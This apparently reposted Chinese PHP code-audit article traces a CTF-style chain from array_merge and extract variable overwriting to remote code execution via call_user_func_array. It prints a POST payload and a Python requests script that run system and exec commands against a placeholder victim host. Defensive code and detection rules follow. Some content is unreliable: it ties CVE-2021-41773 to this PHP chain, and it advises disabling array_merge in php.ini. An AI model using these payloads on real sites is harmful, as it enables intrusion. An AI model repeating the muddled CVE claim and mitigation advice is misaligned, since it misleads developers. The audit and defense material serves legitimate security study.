尧图网站建设 尧图网络
  • 首页
  • 关于我们
  • 服务项目
  • 案例展示
  • 建站流程
  • 资讯中心
  • 联系我们
首页/资讯中心/详情

PHP代码审计实战:从extract与array_merge到RCE的3种变量覆盖链构造

PHP代码审计实战:从extract与array_merge到RCE的3种变量覆盖链构造
📅 发布时间:2026/7/8 17:54:29

PHP代码审计实战:从变量覆盖到RCE的完整攻击链剖析

1. 漏洞背景与核心原理

在PHP应用安全领域,变量覆盖漏洞常被开发者忽视,却可能引发严重后果。本次分析的案例源自GFCTF 2021的一道赛题,涉及CVE-2021-41773漏洞与PHP变量覆盖的巧妙结合,最终实现远程代码执行(RCE)。

漏洞链核心环节:

  1. array_merge变量覆盖:通过用户可控数据覆盖类属性
  2. extract函数滥用:将数组元素转换为当前作用域变量
  3. 动态函数调用:利用call_user_func_array执行任意函数

典型攻击流程如下:

用户输入 → array_merge覆盖 → extract变量注入 → 模板路径控制 → 包含恶意文件 → call_user_func_array执行

2. 关键函数深度解析

2.1 array_merge的安全隐患

private $date = ['version'=>'1.0', 'img'=>'...']; public function __construct($data){ $this->date = array_merge($this->date, $data); }

风险点分析:

  • 当$data包含与$this->date相同的键时,后者值会被覆盖
  • 未做输入过滤导致攻击者可控制类内部状态

对比测试:

$default = ['key'=>'safe', 'admin'=>false]; $userInput = ['key'=>'hacked', 'admin'=>true]; // 危险操作 $result = array_merge($default, $userInput); // ['key'=>'hacked', 'admin'=>true]

2.2 extract的致命威胁

public function display($template, $space=''){ extract($this->date); // 将数组键值转为变量 $this->getTempName($template, $space); include($this->template); }

攻击面扩展:

  • 通过控制$this->date可注入任意变量
  • 结合后续的include可能造成文件包含漏洞

安全建议:永远不要在包含用户输入的数组上使用extract(),如需类似功能,可使用EXTR_SKIP等安全模式

3. 完整攻击链构造

3.1 第一阶段:变量控制

攻击步骤:

  1. 通过POST传入精心构造的数组:
    POST /index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded template=index.html&space=admin&mod=恶意payload
  2. array_merge实现属性覆盖:
    $this->date = [ 'template' => 'index.html', 'space' => 'admin', 'mod' => '恶意payload' ];

3.2 第二阶段:流程劫持

// 原始安全路径 ./template/index.html → 安全页面 // 攻击者控制后 ./template/admin/index.html → 危险功能入口

路径跳转关键:

if($dir === 'admin'){ $this->template = str_replace('..','','./template/admin/'.$template); }

3.3 第三阶段:RCE实现

通过listdata方法的参数解析漏洞,构造特殊格式的输入:

mod=xxx action=function name=system param0=id

代码执行流程:

  1. 参数解析为$system['action'] = 'function'
  2. 检查$param['name']是否为合法函数
  3. 通过call_user_func_array执行:
    call_user_func_array('system', ['id'])

4. 三种典型攻击场景对比

场景类型利用函数输入要求防御难度
直接函数调用call_user_func控制单个函数名★★☆☆☆
数组参数调用call_user_func_array控制函数名+参数数组★★★☆☆
文件包含+RCEinclude+动态函数需要多环节变量控制★★★★☆

实战payload示例:

import requests TARGET = "http://victim.com/index.php" PAYLOAD = { 'template': 'index.html', 'space': 'admin', 'mod': 'action=function name=exec param0=ls' } response = requests.post(TARGET, data=PAYLOAD, params={'filename': 'test'}) print(response.text)

5. 系统化防御方案

5.1 代码层防护

危险函数禁用清单:

// php.ini配置 disable_functions = extract, parse_str, array_merge

安全编码实践:

// 安全的数组合并方式 public function safeMerge($default, $input) { return array_intersect_key( array_merge($default, $input), $default ); }

5.2 架构层防护

  1. 输入验证层:

    class InputValidator { public static function cleanArray($data) { return array_filter($data, function($v, $k) { return is_scalar($v) && preg_match('/^[a-z_]+$/', $k); }, ARRAY_FILTER_USE_BOTH); } }
  2. 执行沙箱:

    class SafeFunction { private static $allowed = ['htmlspecialchars', 'json_encode']; public static function call($name, $args) { if(in_array($name, self::$allowed)) { return call_user_func_array($name, $args); } throw new SecurityException("Function not allowed"); } }

6. 审计方法论进阶

6.1 变量跟踪技术

  1. 逆向追踪:

    call_user_func_array ← $param['name'] ← $params数组 ← $_params字符串 ← $mod变量 ← extract注入
  2. 敏感函数清单:

    • 变量操作:extract, parse_str, compact
    • 动态执行:eval, assert, call_user_func
    • 文件包含:include, require

6.2 自动化检测思路

正则匹配模式:

/(extract|parse_str)\s*\(.*\$_/

静态分析规则示例:

rule: unsafe_array_merge pattern: | array_merge\(.*\$(_(GET|POST|REQUEST|COOKIE)|argv) severity: HIGH message: "Unsafe array_merge with user input"

在实际项目中,我曾遇到类似案例:一个CMS系统的模板引擎因未过滤extract参数,导致攻击者通过Cookie注入覆盖了管理员校验变量。这提醒我们,安全审计必须关注数据在整个生命周期中的流动路径。

相关新闻

  • 三步构建基于Playwright MCP的跨浏览器自动化架构
  • Unity SLG大地图核心框架:网格管理与AOI视野同步实战
  • STM32与TLA2518构建高精度数据采集系统

最新新闻

  • AI编程评测真相:为什么Qwen登顶可能是个错觉
  • 终极指南:3分钟解锁你的QQ聊天记录数据库
  • 动态权重校准:边界速度驱动的多目标实时决策原理
  • 云服务器传代码:scp/ssh/unzip 实操避坑指南
  • Khalil《非线性系统》第3版:平衡点计算与线性化实战 3 步法
  • iframe 内嵌登录状态同步:从 Cookie 到 postMessage + localStorage 的 2 步迁移实战

日新闻

  • PROPKA 3深度解析:蛋白质pKa预测的实战指南与算法原理
  • 微信小程序 globalData 监听:基于 Object.defineProperty 的 3 种实现方案对比
  • MySQL 8.0 数据清洗实战:3类异常值识别与 UPDATE/DELETE 批量处理

周新闻

  • 基于YOLOv12的番茄成熟度智能检测系统开发
  • 终极RimWorld模组管理指南:用RimSort告别模组冲突烦恼
  • AI Agent框架开发:从理论到实践的完整指南

月新闻

  • 2026年6月公司网站搭建最新热门渠道测评:四大低成本/零代码平台对比+避坑
  • 【Linux】Linux arm 编译QT程序,出现expected “}“报错
  • 【MATLAB例程】四基站二维AOA定位与距离辅助增强对比仿真。基于角度观测和测距修正的固定目标平面定位精度分析

关于尧图

  • 公司简介
  • 团队介绍
  • 企业文化
  • 荣誉资质

服务项目

  • 定制开发
  • 电商建站
  • UI 设计
  • 运维服务

快速链接

  • 案例展示
  • 建站流程
  • 常见问题
  • 资讯中心

联系方式

  • 📍北京市朝阳区互联网产业园 A 座 10 层
  • 📞400-888-8888
  • ✉️contact@rkmt.cn
  • 🕐周一至周日 9:00-21:00

© 2024 北京尧图网络科技有限公司 版权所有 | 京 ICP 备 XXXXXXXX 号